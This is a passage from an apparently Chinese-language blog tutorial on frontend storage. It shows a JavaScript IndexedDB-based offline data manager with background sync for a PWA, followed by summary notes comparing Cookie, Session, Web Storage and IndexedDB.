缓存API响应


7.2 完整实现

javascript 复制代码
/**
 * PWA离线数据管理器
 */
class OfflineDataManager {
  constructor() {
    this.dbName = 'offlineApp'
    this.version = 1
    this.db = null
  }
  
  /**
   * 初始化数据库
   */
  async init() {
    return new Promise((resolve, reject) => {
      const request = indexedDB.open(this.dbName, this.version)
      
      request.onerror = () => reject(request.error)
      request.onsuccess = () => {
        this.db = request.result
        resolve(this.db)
      }
      
      request.onupgradeneeded = (event) => {
        const db = event.target.result
        
        // 创建文章存储
        if (!db.objectStoreNames.contains('articles')) {
          const articleStore = db.createObjectStore('articles', {
            keyPath: 'id'
          })
          articleStore.createIndex('timestamp', 'timestamp')
          articleStore.createIndex('synced', 'synced')
        }
        
        // 创建待同步队列
        if (!db.objectStoreNames.contains('syncQueue')) {
          db.createObjectStore('syncQueue', {
            keyPath: 'id',
            autoIncrement: true
          })
        }
      }
    })
  }
  
  /**
   * 获取文章(离线优先)
   */
  async getArticle(id) {
    // 1. 先从IndexedDB读取
    const cached = await this.getFromDB('articles', id)
    
    if (cached) {
      console.log('使用缓存数据')
      
      // 后台更新
      if (navigator.onLine) {
        this.updateInBackground(id)
      }
      
      return cached
    }
    
    // 2. 如果在线,从服务器获取
    if (navigator.onLine) {
      try {
        const article = await this.fetchFromServer(id)
        await this.saveToDB('articles', article)
        return article
      } catch (error) {
        throw new Error('获取文章失败')
      }
    }
    
    // 3. 离线且无缓存
    throw new Error('离线状态,无缓存数据')
  }
  
  /**
   * 保存文章(支持离线)
   */
  async saveArticle(article) {
    // 1. 保存到IndexedDB
    article.synced = false
    article.timestamp = Date.now()
    await this.saveToDB('articles', article)
    
    // 2. 如果在线,立即同步
    if (navigator.onLine) {
      try {
        await this.syncToServer(article)
        article.synced = true
        await this.saveToDB('articles', article)
      } catch (error) {
        // 同步失败,加入队列
        await this.addToSyncQueue(article)
      }
    } else {
      // 离线,加入队列
      await this.addToSyncQueue(article)
    }
  }
  
  /**
   * 后台同步
   */
  async backgroundSync() {
    if (!navigator.onLine) {
      console.log('离线状态,跳过同步')
      return
    }
    
    // 1. 获取未同步的文章
    const unsyncedArticles = await this.getUnsyncedArticles()
    
    console.log(`发现${unsyncedArticles.length}篇未同步文章`)
    
    // 2. 逐个同步
    for (const article of unsyncedArticles) {
      try {
        await this.syncToServer(article)
        
        // 标记为已同步
        article.synced = true
        await this.saveToDB('articles', article)
        
        console.log(`文章${article.id}同步成功`)
      } catch (error) {
        console.error(`文章${article.id}同步失败:`, error)
      }
    }
  }
  
  /**
   * 获取未同步的文章
   */
  async getUnsyncedArticles() {
    return new Promise((resolve, reject) => {
      const transaction = this.db.transaction(['articles'], 'readonly')
      const objectStore = transaction.objectStore('articles')
      const index = objectStore.index('synced')
      const request = index.getAll(false)
      
      request.onsuccess = () => resolve(request.result)
      request.onerror = () => reject(request.error)
    })
  }
  
  /**
   * 监听在线状态
   */
  setupOnlineListener() {
    window.addEventListener('online', () => {
      console.log('网络已连接,开始同步')
      this.backgroundSync()
    })
    
    window.addEventListener('offline', () => {
      console.log('网络已断开,进入离线模式')
    })
  }
}

// 初始化
const offlineManager = new OfflineDataManager()
await offlineManager.init()
offlineManager.setupOnlineListener()

// 定期同步
setInterval(() => {
  offlineManager.backgroundSync()
}, 60000)  // 每分钟同步一次

8. 总结与最佳实践

8.1 存储方案选择决策树

认证Token


用户偏好
临时数据
大量数据
< 10MB
> 10MB
离线应用
需要存储什么?
需要自动携带?
Cookie

HttpOnly + Secure + SameSite
localStorage

  • 短期过期
    localStorage
    sessionStorage
    数据量?
    localStorage
    IndexedDB
    IndexedDB

  • Service Worker


8.2 核心要点回顾

前端存储
Cookie
RFC 6265标准
HttpOnly防XSS
SameSite防CSRF
4KB容量限制
自动携带
Session
服务器端存储
高安全性
分布式需Redis
占用服务器资源
Web Storage
W3C标准
5-10MB容量
同步API
localStorage永久
sessionStorage会话级
IndexedDB
W3C标准
50MB+容量
异步API
事务支持
NoSQL数据库


8.3 参考资料

官方标准:

安全指南:

性能优化:


相关博客推荐:

  • 《JWT认证原理与Token管理方案深度解析》
  • 《PWA离线应用开发实战》
  • 《Service Worker完全指南》
  • 《前端安全防护:XSS与CSRF攻击防御》
相关推荐
哟哟耶耶2 小时前
vue3-单文件组件css功能(:deep,:slotted,:global,useCssModule,v-bind)
前端·javascript·css
是罐装可乐2 小时前
深入理解“句柄(Handle)“:从浏览器安全到文件系统访问
前端·javascript·安全
华科易迅2 小时前
Vue如何集成封装Axios
前端·javascript·vue.js
康一夏2 小时前
Next.js 13变化有多大?
前端·react·nextjs
糖炒栗子03262 小时前
前端项目标准环境搭建与启动
前端
不是az2 小时前
CSS知识点记录
前端·javascript·css
爱分享的阿Q2 小时前
GPT6-Spud-AGI前夜的豪赌
前端·easyui·agi
西西小飞龙3 小时前
Less/Sass Mixins vs. Extend
前端·less·sass
syjy23 小时前
(含下载)BeTheme WordPress主题使用教程
前端·wordpress·wordpress建站